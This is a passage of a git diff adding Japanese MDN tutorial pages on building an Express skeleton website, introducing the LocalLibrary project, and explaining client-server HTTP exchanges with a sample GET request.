json"> "devDependencies": { + "nodemon": "^1.14.11" + } +</pre> + +<p>このツールはグローバルにはインストールされていないので (パスに追加しない限り) コマンドラインから起動することはできませんが、NPM はインストールされているパッケージをすべて知っているので、NPM スクリプトから呼び出すことができます。package.json の <code>scripts</code> セクションを見つけます。最初は <code>"start"</code> で始まる1行が含まれています。その行の末尾にカンマを入れて、以下に見られる <code>"devstart"</code> 行を追加することによってそれを更新します。</p> + +<pre class="brush: json"> "scripts": { + "start": "node ./bin/www"<strong>,</strong> +<strong> "devstart": "nodemon ./bin/www"</strong> + }, +</pre> + +<p><code>devstart</code> コマンドを指定して、以前とほぼ同じ方法でサーバーを起動することができます。</p> + +<ul> + <li>Windows では、次のコマンドを使用してください + <pre class="brush: bash">SET DEBUG=express-locallibrary-tutorial:* & npm <strong>run devstart</strong></pre> + </li> + <li>macOS または Linux では、次のコマンドを使用してください + <pre class="brush: bash">DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart</strong> +</pre> + </li> +</ul> + +<div class="note"> +<p><strong>メモ:</strong> プロジェクト内のファイルを編集した場合は、サーバが再起動します (またはコマンドプロンプトで <code>rs</code> と入力していつでも再起動できます)。あなたはまだページを更新するためにブラウザを再読み込みする必要があるでしょう。</p> + +<p>"start" は実際には名前付きスクリプトにマップされた NPM コマンドなので、ここでは単に <code>npm start</code> ではなく "<code>npm run <em><scriptname></em></code>" を呼び出す必要があります。起動スクリプトのコマンドを置き換えることもできますが、開発中は nodemon を使用するだけなので、新しいスクリプトコマンドを作成するのが理にかなっています。</p> +</div> + +<h2 id="生成されたプロジェクト">生成されたプロジェクト</h2> + +<p>今作成したプロジェクトを見てみましょう。</p> + +<h3 id="ディレクトリ構造">ディレクトリ構造</h3> + +<p>生成されたプロジェクトは、依存関係をインストールしたので、次のようなファイル構造になります (ファイルは "/" が前に付いて<strong>いない</strong>項目です)。<strong>package.json</strong> ファイルは、アプリケーションの依存関係とその他の情報を定義します。また、アプリケーションのエントリポイントである JavaScript ファイル <strong>/bin/www</strong> を呼び出す起動スクリプトも定義されています。これにより、アプリケーションのエラー処理がいくつか設定され、その後 <strong>app.js</strong> が読み込まれて残りの作業が行われます。 アプリのルートは <strong>routes/</strong> ディレクトリの下の別々のモジュールに格納されています。 テンプレートは /<strong>views</strong> ディレクトリの下に格納されています。</p> + +<pre>/express-locallibrary-tutorial + <strong>app.js</strong> + /bin + <strong>www</strong> + <strong>package.json</strong> + /node_modules + [about 4,500 subdirectories and files] + /public + /images + /javascripts + /stylesheets + <strong>style.css</strong> + /routes + <strong>index.js</strong> + <strong>users.js</strong> + /views + <strong>error.pug</strong> + <strong>index.pug</strong> + <strong>layout.pug</strong> + +</pre> + +<p>次のセクションでは、ファイルについてもう少し詳しく説明します。</p> + +<h3 id="package.json">package.json</h3> + +<p><strong>package.json </strong>ファイルは、アプリケーションの依存関係とその他の情報を定義します。</p> + +<pre class="brush: json">{ + "name": "express-locallibrary-tutorial", + "version": "0.0.0", + "private": true, + "scripts": { + "start": "node ./bin/www", + "devstart": "nodemon ./bin/www" + }, + "dependencies": { + "cookie-parser": "~1.4.3", + "debug": "~2.6.9", + "express": "~4.16.2", + "morgan": "~1.9.0", + "pug": "~2.0.0-rc.4", + "serve-favicon": "~2.4.5" + }, + "devDependencies": { + "nodemon": "^1.14.11" + } +} +</pre> + +<p>依存関係には、express パッケージと選択したビューエンジン (pug) 用のパッケージが含まれます。さらに、多くの Web アプリケーションで役立つ次のパッケージがあります。</p> + +<ul> + <li><a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a>: Cookie ヘッダーを解析し、<code>req.cookies</code> を生成するために使用されます (基本的に Cookie 情報にアクセスするための便利な方法を提供します)</li> + <li><a href="https://www.npmjs.com/package/debug">debug</a>: 小さなノードデバッグユーティリティは、Node コアのデバッグ技術をモデルにしています</li> + <li><a href="https://www.npmjs.com/package/morgan">morgan</a>: Node 用の HTTP リクエストロガーミドルウェア</li> + <li><a href="https://www.npmjs.com/package/serve-favicon">serve-favicon</a>: <a href="https://ja.wikipedia.org/wiki/Favicon">ファビコン</a>を提供するためのノードミドルウェア (これはブラウザタブ内のサイト、ブックマークなどを表すために使用されるアイコンです)</li> +</ul> + +<p>scripts セクションは "start" スクリプトを定義します。これは、<code>npm start</code> を呼び出してサーバを起動するときに呼び出すスクリプトです。スクリプトの定義から、これは実際に JavaScript ファイル <strong>./bin/www</strong> with node を開始することがわかります。また、"devstart" スクリプトも定義しています。これは、代わりに <code>npm run devstart</code> を呼び出すときに呼び出されます。これは同じ <strong>./bin/www</strong> ファイルを開始しますが、node ではなく nodemon を使用します。</p> + +<pre class="brush: json"> "scripts": { + "start": "node ./bin/www", + "devstart": "nodemon ./bin/www" + }, +</pre> + +<h3 id="www_ファイル">www ファイル</h3> + +<p>ファイル <strong>/bin/www</strong> がアプリケーションのエントリポイントです。 これが最初に行うことは、<code><a href="http://expressjs.com/ja/api.html">express()</a></code> アプリケーションオブジェクトを設定して返す "本物の" アプリケーションエントリポイント (プロジェクトルート内の <strong>app.js</strong>) である<code>require()</code> です。</p> + +<pre class="brush: js">#!/usr/bin/env node + +/** + * Module dependencies. + */ + +<strong>var app = require('../app');</strong> +</pre> + +<div class="note"> +<p><strong>メモ:</strong> <code>require()</code> は、現在のファイルにモジュールをインポートするために使われるグローバル Node 関数です。 ここでは相対パスを使用し、オプションの (.<strong>js</strong>) ファイル拡張子を省略して <strong>app.js</strong> モジュールを指定します。</p> +</div> + +<p>このファイルのコードの残りの部分では、特定のポート (環境変数で定義されているか、変数が定義されていない場合は 3000 で定義されている) に設定された <code>app</code> を使用してNode HTTP サーバをセットアップします。 今のところ、コードについて他に何も知る必要はありません (このファイル内のすべてが "定型句" です) が、興味があればお気軽にレビューしてください。</p> + +<h3 id="app.js">app.js</h3> + +<p>このファイルは、<code>express</code> アプリケーションオブジェクト (慣例では <code>app</code> という名前) を作成し、さまざまな設定とミドルウェアを使用してアプリケーションを設定してから、モジュールからアプリケーションをエクスポートします。以下のコードは、アプリオブジェクトを作成およびエクスポートするファイルの一部だけを示しています。</p> + +<pre class="brush: js"><code>var express = require('express'); +var app = express(); +... +</code>module.exports = app; +</pre> + +<p>上記の <strong>www</strong> エントリポイントファイルに戻ると、このファイルがインポートされたときに呼び出し元に渡されるのは、この <code>module.exports</code> オブジェクトです。</p> + +<p><strong>app.js</strong> ファイルを詳しく見ていきましょう。まず、NPM を使用してアプリケーション用に以前にダウンロードしたexpress、serve-favicon、morgan、cookie-parser など、<code>require()</code> を使用していくつかの便利な Node ライブラリをファイルにインポートします。path は、ファイルとディレクトリのパスを解析するためのコア Node ライブラリです。</p> + +<pre class="brush: js">var express = require('express'); +var path = require('path'); +var favicon = require('serve-favicon'); +var logger = require('morgan'); +var cookieParser = require('cookie-parser'); +</pre> + +<p>それからroutesディレクトリから <code>require()</code> モジュールを呼び出します。これらのモジュール/ファイルには、関連する "ルート" (URL パス) の特定のセットを処理するためのコードが含まれています。たとえばライブラリ内のすべての本をリストするためにスケルトンアプリケーションを拡張するときは、本関連のルートを処理するための新しいファイルを追加します。</p> + +<pre class="brush: js">var indexRouter = require('./routes/index'); +var usersRouter = require('./routes/users'); +</pre> + +<div class="note"> +<p><strong>メモ:</strong> この時点で、モジュールをインポートしたばかりです。 実際にはまだそのルートを使用していません (これはファイルの少し下まで行われます)。</p> +</div> + +<p>次に、インポートした Express モジュールを使ってアプリオブジェクトを作成し、それを使ってビュー (テンプレート) エンジンを設定します。エンジンの設定には2つの部分があります。まず、 '<code>views</code>' の値を設定して、テンプレートが保存されるフォルダを指定します (この場合はサブフォルダの <strong>/views</strong>)。それから '<code>view engine</code>' の値を設定してテンプレートライブラリ (この場合は "pug") を指定します。</p> + +<pre class="brush: js">var app = express(); + +// view engine setup +app.set('views', path.join(__dirname, 'views')); +app.set('view engine', 'pug'); +</pre> + +<p>次の一連の関数は <code>app.use()</code> を呼び出してミドルウェアライブラリをリクエスト処理チェーンに追加します。以前インポートしたサードパーティのライブラリに加えて、Express がプロジェクトルートの <strong>/public</strong> ディレクトリにあるすべての静的ファイルを処理するようにするために、<code>express.static</code> ミドルウェアを使用します。</p> + +<pre class="brush: js">// uncomment after placing your favicon in /public +//app.use(favicon(path.join(__dirname, 'public', 'favicon.ico'))); +app.use(logger('dev')); +app.use(express.json()); +app.use(express.urlencoded({ extended: false })); +app.use(cookieParser()); +<strong>app.use(express.static(path.join(__dirname, 'public')));</strong> +</pre> + +<p>他のすべてのミドルウェアがセットアップされたので、(以前にインポートした) ルート処理コードをリクエスト処理チェーンに追加します。 インポートされたコードは、サイトのさまざまな部分に特定のルートを定義します。</p> + +<pre class="brush: js">app.use('/', indexRouter); +app.use('/users', usersRouter); +</pre> + +<div class="note"> +<p><strong>メモ:</strong> 上記で指定されたパス ('/' と '<code>/users'</code>) は、インポートされたファイルで定義されているルートの接頭辞として扱われます。たとえば、インポートされたユーザーモジュールが <code>/profile</code> のルートを定義している場合は、<code>/users/profile</code> でそのルートにアクセスします。 ルートの詳細については後の記事で説明します。</p> +</div> + +<p>ファイルの最後のミドルウェアは、エラーと HTTP 404 レスポンス用のハンドラメソッドを追加します。</p> + +<pre class="brush: js">// catch 404 and forward to error handler +app.use(function(req, res, next) { + var err = new Error('Not Found'); + err.status = 404; + next(err); +}); + +// error handler +app.use(function(err, req, res, next) { + // set locals, only providing error in development + res.locals.message = err.message; + res.locals.error = req.app.get('env') === 'development' ? err : {}; + + // render the error page + res.status(err.status || 500); + res.render('error'); +}); +</pre> + +<p>Express アプリケーションオブジェクト (app) が完全に設定されました。最後のステップはそれをモジュールのエクスポートに追加することです (これは <strong>/bin/www</strong> によってインポートされることを可能にするものです)。</p> + +<pre class="brush: js">module.exports = app;</pre> + +<h3 id="ルート">ルート</h3> + +<p>ルートファイル <strong>/routes/users.js</strong> を以下に示します (ルートファイルは同様の構造を共有しているので、<strong>index.js</strong> も表示する必要はありません)。まず、express モジュールをロードし、それを使って <code>express.Router</code> オブジェクトを取得します。それからそのオブジェクトのルートを指定し、最後にモジュールからルーターをエクスポートします (これがファイルが <strong>app.js</strong> にインポートされることを可能にするものです)。</p> + +<pre class="brush: js">var express = require('express'); +var router = express.Router(); + +/* GET users listing. */ +<strong>router.get('/', function(req, res, next) { + res.send('respond with a resource'); +});</strong> + +module.exports = router; +</pre> + +<p>このルートは、正しいパターンの HTTP <code>GET</code> リクエストが検出されたときに必ず呼び出されるコールバックを定義します。一致パターンは、モジュールのインポート時に指定された経路 ('<code>/users</code>') と、このファイルで定義されているもの ('<code>/</code>') です。 つまり、このルートは <code>/users/</code> の URL が受信されたときに使用されます。</p> + +<div class="note"> +<p><strong>Tip:</strong> これを試すには、node を使用してサーバを実行し、ブラウザの URL (<a href="http://localhost:3000/users/">http://localhost:3000/users/</a>) にアクセスしてください。「リソースで応答してください」というメッセージが表示されます。</p> +</div> + +<p>上記の関心事の1つは、コールバック関数が3番目の引数 '<code>next</code>' を持ち、したがって単純なルートコールバックではなくミドルウェア関数であることです。このコードでは現在 <code>next</code> 引数を使用していませんが、<code>'/'</code> ルートパスに複数のルートハンドラを追加したい場合、将来的には役に立つかもしれません。</p> + +<h3 id="ビュー_(テンプレート)">ビュー (テンプレート)</h3> + +<p>ビュー (テンプレート) は <strong>/views</strong> ディレクトリ (<strong>app.js</strong> で指定されている) に保存され、ファイル拡張子 <strong>.pug</strong> が与えられます。<code><a href="http://expressjs.com/ja/4x/api.html#res.render">Response.render()</a></code> メソッドは、オブジェクトに渡された名前付き変数の値とともに指定されたテンプレートをレンダリングし、その結果をレスポンスとして送信するために使用されます。以下の <strong>/routes/index.js</strong> のコードでは、テンプレート変数 "title" を渡した "index" テンプレートを使用して、そのルートがどのようにレスポンスをレンダリングするかを確認できます。</p> + +<pre class="brush: js">/* GET home page. */ +router.get('/', function(req, res) { + res.render('index', { title: 'Express' }); +}); +</pre> + +<p>上記のルートに対応するテンプレートを以下に示します(<strong>index.pug</strong>)。構文については後で詳しく説明します。今のところ知る必要があるのは、(変数 <code>'Express'</code> を持つ) <code>title</code>変数がテンプレートの指定された場所に挿入されることだけです。</p> + +<pre>extends layout + +block content + h1= title + p Welcome to #{title} +</pre> + +<h2 id="自分自身で挑戦">自分自身で挑戦</h2> + +<p><strong>/routes/users.js</strong> に新しいルートを作成し、URL <code>/users/cool/</code> に "You're so cool" というテキストを表示します。 サーバーを実行し、ブラウザで <a href="http://localhost:3000/users/cool/">http://localhost:3000/users/cool/</a> にアクセスしてテストしてください。</p> + +<ul> +</ul> + +<h2 id="まとめ">まとめ</h2> + +<p>これで、<a href="/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">ローカルライブラリ</a>用のスケルトン Web サイトプロジェクトを作成し、それが Node を使用して実行されることを確認しました。最も重要なのは、プロジェクトの構造も理解しているので、ローカルライブラリのルートとビューを追加するために変更を加える必要がある場所をよく理解していることです。</p> + +<p>次に、図書館の Web サイトとして機能するようにスケルトンを変更します。</p> + +<h2 id="あわせて参照">あわせて参照</h2> + +<ul> + <li><a href="https://expressjs.com/en/starter/generator.html">Express application generator</a> (Express ドキュメント)</li> + <li><a href="https://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express ドキュメント)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node のイントロダクション</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境の設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express チュートリアル: 地域図書館の Web サイト</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express チュートリアル Part 2: スケルトン Web サイトの作成</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Express チュートリアル Part 3: データベースを使う (Mongoose を使用)</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/routes">Express チュートリアル Part 4: ルートとコントローラ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express チュートリアル Part 5: ライブラリデータの表示</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/forms">Express チュートリアル Part 6: フォームの操作</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/deployment">Express チュートリアル Part 7: プロダクションへのデプロイ</a></li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/tutorial_local_library_website/index.html b/files/ja/learn/server-side/express_nodejs/tutorial_local_library_website/index.html new file mode 100644 index 0000000000..9e4dc43e1e --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/tutorial_local_library_website/index.html @@ -0,0 +1,98 @@ +--- +title: 'Express チュートリアル: 地域図書館の Web サイト' +slug: Learn/Server-side/Express_Nodejs/Tutorial_local_library_website +tags: + - Beginner + - CodingScripting + - Express + - Intro + - Learn + - Node + - Tutorial + - nodejs + - イントロダクション + - サーバサイド + - 初心者 + - 学習 +translation_of: Learn/Server-side/Express_Nodejs/Tutorial_local_library_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">実用的なチュートリアルシリーズの最初の記事では、これから学ぶことについて説明します。そして、私たちがこれから取り組んでいき、その後の記事で進化していく「地域図書館」のサンプルウェブサイトの概要を説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express のイントロダクション</a>を読んでください。以下の記事では、<a href="/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境を設定する</a>必要もあります。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>このチュートリアルで使用されているサンプルアプリケーションを紹介し、どのトピックがカバーされるのかを読者が理解できるようにします。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>MDN "Local Library" Express (Node) チュートリアルへようこそ。このチュートリアルでは、地域図書館の目録を管理するために使用される可能性があるウェブサイトを開発します。</p> + +<p>この一連のチュートリアル記事では、次のことを行います。</p> + +<ul> + <li>Express Application Generator ツールを使用して、スケルトンウェブサイトとアプリケーションを作成します。</li> + <li>Node ウェブサーバーを起動および停止します。</li> + <li>データベースを使用してアプリケーションのデータを保存します。</li> + <li>さまざまな情報を要求するためのルートを作成し、ブラウザーに表示するデータを HTML としてレンダリングするためのテンプレート ("ビュー" )を作成します</li> + <li>フォームを操作します。</li> + <li>アプリケーションを運用環境にデプロイします。</li> +</ul> + +<p>あなたはすでにこれらのトピックのいくつかについて学び、他のものについても簡単に触れました。チュートリアルシリーズの最後までに、簡単な Express アプリケーションを自分で開発するのに十分な知識があるはずです。</p> + +<h2 id="LocalLibrary_ウェブサイト">LocalLibrary ウェブサイト</h2> + +<p><em>LocalLibrary</em> は、この一連のチュートリアルの過程で作成および進化するウェブサイトの名前です。ご想像のとおり、この ウェブサイトの目的は利用できる書籍を閲覧したり自分のアカウントを管理したりできる、地元の小さな図書館用のオンライン目録を提供することです。</p> + +<p>この例は慎重に選択されています。必要なだけ詳細を表示することも、ほとんどすべての Express 機能を見せるために使用することもできるためです。さらに重要なことに、それはどんなウェブサイトでも必要とする機能性への<em>ガイド付きの</em>道筋を提供することができます：</p> + +<ul> + <li>最初のいくつかのチュートリアル記事では、図書館のメンバーがどの本が利用できるかを調べるために使用できる簡単な<em>ブラウズ専用</em>ライブラリを定義します。これにより、ほぼすべての ウェブサイトに共通の操作、つまりデータベースからのコンテンツの読み取りと表示を探ることができます。</li> + <li>先へ進むにつれて、図書館の例は自然に拡張され、より高度な ウェブサイト機能を実演します。たとえば、新しい本を作成できるようにライブラリを拡張し、これを使用してフォームの使用方法を示し、ユーザ認証をサポートすることができます。</li> +</ul> + +<p>これは非常に拡張可能な例ですが、<em><strong>Local</strong>Library</em> と呼ばれる理由があります。私たちは Express をすぐに使い始めるための最小限の情報を示すことを望んでいます。その結果、私たちは本に関する情報、本のコピー、作者、その他の重要な情報を保存します。ただし、図書館が貸し出す可能性のある他のアイテムに関する情報を保存したり、複数の図書館サイトやその他の "大きな図書館" 機能をサポートするために必要なインフラストラクチャを提供することはしません。</p> + +<h2 id="私は立ち往生しています、どこでソースを入手できますか？">私は立ち往生しています、どこでソースを入手できますか？</h2> + +<p>チュートリアルを進めていくうちに、適切なコードスニペットを各ポイントにコピーして貼り付けることができます。また、他のコードも (ある程度の手引きを付けて) 自身で拡張することを望んでいます。</p> + +<p>すべてのコードスニペットをコピーして貼り付けるのではなく、それらを入力してみてください。次回同様のコードを書くときに、コードに慣れ親しんでいることになるので、長期的に役に立ちます。</p> + +<p>あなたが立ち往生したならば、<a href="https://github.com/mdn/express-locallibrary-tutorial">Github のここ</a>で ウェブサイトの完全に開発されたバージョンを見つけることができます。</p> + +<div class="note"> +<p><strong>メモ:</strong> この文書でテストされた Node、Express、および他のモジュールの特定のバージョンは、プロジェクト <a href="https://github.com/mdn/express-locallibrary-tutorial/blob/master/package.json">package.json</a> にリストされています。</p> +</div> + +<h2 id="まとめ">まとめ</h2> + +<p><em>LocalLIbrary</em> ウェブサイトと、これから学ぶことについて少し知りました。今度は私たちの例を含む<a href="/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">スケルトンプロジェクト</a>の作成を開始します。</p> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="このモジュールの中">このモジュールの中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node のイントロダクション</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境の設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express チュートリアル: 地域図書館のウェブサイト</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express チュートリアル Part 2: スケルトンウェブサイトの作成</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Express チュートリアル Part 3: データベースを使う (Mongoose を使用)</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/routes">Express チュートリアル Part 4: ルートとコントローラ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express チュートリアル Part 5: ライブラリデータの表示</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/forms">Express チュートリアル Part 6: フォームの操作</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/deployment">Express チュートリアル Part 7: プロダクションへのデプロイ</a></li> +</ul> diff --git a/files/ja/learn/server-side/first_steps/client-server_overview/index.html b/files/ja/learn/server-side/first_steps/client-server_overview/index.html new file mode 100644 index 0000000000..a99e34eff0 --- /dev/null +++ b/files/ja/learn/server-side/first_steps/client-server_overview/index.html @@ -0,0 +1,329 @@ +--- +title: クライアント - サーバの概要 +slug: Learn/Server-side/First_steps/Client-Server_overview +tags: + - Beginner + - CodingScripting + - イントロダクション + - ガイド + - サーバ + - サーバサイドプログラミング + - 学習 +translation_of: Learn/Server-side/First_steps/Client-Server_overview +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">サーバサイドプログラミングの目的と潜在的な利点を知ったので、サーバがブラウザーから "動的リクエスト" を受け取ったときに起こることを詳細に検討します。ほとんどの Web サイトのサーバサイドコードは同様の方法でリクエストとレスポンスを処理するので、これは自身のコードの大部分を書くときに何が必要かを理解するのに役立ちます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件</th> + <td>基本的なコンピュータリテラシー。Web サーバの基本的な理解。</td> + </tr> + <tr> + <th scope="row">目的</th> + <td>動的な Web サイトにおけるクライアントとサーバのやりとり、特にサーバサイドのコードで実行する必要がある操作を理解する。</td> + </tr> + </tbody> +</table> + +<p>私たちはまだコードを書くために使う Web フレームワークを選択していないので、議論には本当のコードはありません！ ただし、どのプログラミング言語または Web フレームワークを選択したかに関係なく、記述された動作はサーバ側のコードで実装する必要があるため、この説明は依然として非常に重要です。</p> + +<h2 id="Web_サーバと_HTTP_(入門書)">Web サーバと HTTP (入門書)</h2> + +<p>Web ブラウザは、<strong>H</strong>yper<strong>T</strong>ext<strong> T</strong>ransfer <strong>P</strong>rotocol (<a href="/ja/docs/Web/HTTP">HTTP</a>) を使用して <a href="/ja/docs/Learn/Common_questions/What_is_a_web_server">Web サーバ</a>と通信します。Web ページのリンクをクリックしたり、フォームを送信したり、検索を実行したりすると、ブラウザは <em>HTTP リクエスト</em>をサーバに送信します。</p> + +<p>このリクエストに含まれるもの:</p> + +<ul> + <li>対象のサーバとリソース (HTML ファイル、サーバ上の特定のデータポイント、実行するツールなど) を識別する URL</li> + <li>必要なアクション (たとえば、ファイルを取得したり、データを保存または更新したりするため) を定義するメソッド。さまざまなメソッド/動詞とそれに関連するアクションを以下にリストします。 + <ul> + <li><code>GET</code>: 特定のリソース (製品に関する情報を含む HTML ファイル、製品のリストなど) を取得します。</li> + <li><code>POST</code>: 新しいリソース (たとえば、新しい記事をWikiに追加したり、新しい連絡先をデータベースに追加したりします) を作成します。</li> + <li><code>HEAD</code>: <code>GET</code> のように body を取得せずに、特定のリソースに関するメタデータ情報を取得します。たとえば、リソースが最後に更新された時刻を調べるために <code>HEAD</code> リクエストを使用し、リソースが変更された場合にのみ (より "高価な") <code>GET</code> リクエストを使用します。</li> + <li><code>PUT</code>: 既存のリソースを更新します (または、存在しない場合は新しいリソースを作成します)。</li> + <li><code>DELETE</code>: 指定したリソースを削除します。</li> + <li><code>TRACE</code>, <code>OPTIONS</code>, <code>CONNECT</code>, <code>PATCH</code>: これらの動詞は、あまり一般的ではない高度な作業のためのものなので、ここでは説明しません。</li> + </ul> + </li> + <li>追加情報 (たとえば、HTML フォームデータ) をリクエストと共にエンコードすることができます。情報は次のようにエンコードできます。 + <ul> + <li>URL パラメータ: <code>GET</code> リクエストは、サーバに送信された URL に名前と値のペアを末尾に追加することで、データをエンコードします (例：<code>http://mysite.com<strong>?name=Fred&age=11</strong></code>)。URL パラメータから URL の残りの部分を区切る疑問符 (<code>?</code>)、関連する値から各名前を区切る等号 (<code>=</code>)、および各ペアを区切るアンパサンド (<code>&</code>) が常にあります。URL パラメータは、ユーザが変更して再送信することができるため、本質的に「安全ではありません」。結果として、URL パラメータの <code>GET</code> リクエストは、サーバ上のデータを更新するリクエストには使用されません。</li> + <li><code>POST</code> データ: <code>POST</code> リクエストは新しいリソースを追加し、そのデータはリクエストボディ内にエンコードされます。</li> + <li><span style="display: none;"> </span>クライアントサイド Cookie : Cookie には、クライアントに関するセッションデータが含まれており、サーバはそれをログイン状態とリソースへの権限/アクセスを判断するために使用できます。</li> + </ul> + </li> +</ul> + +<p>Web サーバはクライアントリクエストメッセージを待ち、メッセージが到着したときにそれらを処理し、HTTP レスポンスメッセージで Web ブラウザにレスポンスします。レスポンスには、リクエストが成功したかどうかを示す <a href="/ja/docs/Web/HTTP/Status">HTTP レスポンスステータスコード</a> (<span class="tlid-translation translation" lang="ja"><span title="">例: 成功した場合は "</span></span><code>200 OK</code><span class="tlid-translation translation" lang="ja"><span title="">"、リソースが見つからない場合は "</span></span><code>404 Not Found</code><span class="tlid-translation translation" lang="ja"><span title="">"、ユーザがリソースを見ることを許可されていない場合は "</span></span><code>403 Forbidden</code><span class="tlid-translation translation" lang="ja"><span title="">"など) </span></span>が含まれます。<code>GET</code> リクエストに対する成功したレスポンスの本文には、リクエストされたリソースが含まれます。</p> + +<p>HTML ページが返されると、Web ブラウザによってレンダリングされます。 処理の一部として、ブラウザは他のリソースへのリンクを発見することができ (例えば HTML ページは通常 JavaScript と CSS ページを参照します)、これらのファイルをダウンロードするために別々の HTTP リクエストを送信します。</p> + +<p>静的および動的 Web サイト (以降のセクションで説明) は、まったく同じ通信プロトコル/パターンを使用しています。</p> + +<h3 id="GET_リクエストレスポンス_例">GET リクエスト/レスポンス 例</h3> + +<p>リンクをクリックするか (検索エンジンホームページのように) サイトを検索することで簡単な <code>GET</code> リクエストをすることができます。たとえば、MDNで「クライアント - サーバの概要」という用語を検索したときに送信される HTTP リクエストは、次のようになります (メッセージの一部はあなたのブラウザや設定に依存するので、同一にはなりません)。</p> + +<div class="note"> +<p>HTTP メッセージのフォーマットは「Web 標準」(<a href="http://www.rfc-editor.org/rfc/rfc7230.txt">RFC7230</a>) で定義されています。このレベルの詳細を知る必要はありませんが、少なくとも今、これら全てがどこから来たのかを知っています！</p> +</div> + +<h4 id="リクエスト">リクエスト</h4> + +<p>リクエストの各行にはそれに関する情報が含まれています。 最初の部分は<strong>ヘッダー</strong>と呼ばれ、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">HTML head</a> に HTML 文書に関する有用な情報が含まれるのと同じで、リクエストに関する有用な情報が含まれます (ただし、実際のコンテンツ自体は含まれません)。</p> + +<pre>GET https://developer.mozilla.org/en-US/search?q=client+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1 +Host: developer.mozilla.org +Connection: keep-alive +Pragma: no-cache +Cache-Control: no-cache +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Referer: https://developer.mozilla.org/en-US/ +Accept-Encoding: gzip, deflate, sdch, br +<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code> +Accept-Language: en-US,en;q=0.8,es;q=0.6 +Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true +</pre> + +<p>1行目と2行目には、上記で説明したほとんどの情報が含まれています。</p> + +<ul> + <li>リクエストのタイプ (<code>GET</code>)</li> + <li>ターゲットリソースの URL (<code>/en-US/search</code>)</li> + <li>URL パラメータ (<code>q=client%2Bserver%2Boverview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev</code>)</li> + <li>ターゲット/ホストの Web サイト (developer.mozilla.org)</li> + <li>最初の行の終わりには、特定のプロトコルバージョンを識別する短い文字列 (<code>HTTP/1.1</code>) も含まれています。</li> +</ul> + +<p>最後の行にはクライアントサイドの Cookie に関する情報が含まれています。この場合、Cookie にはセッションを管理するための ID (<code>Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...</code>) が含まれています。</p> + 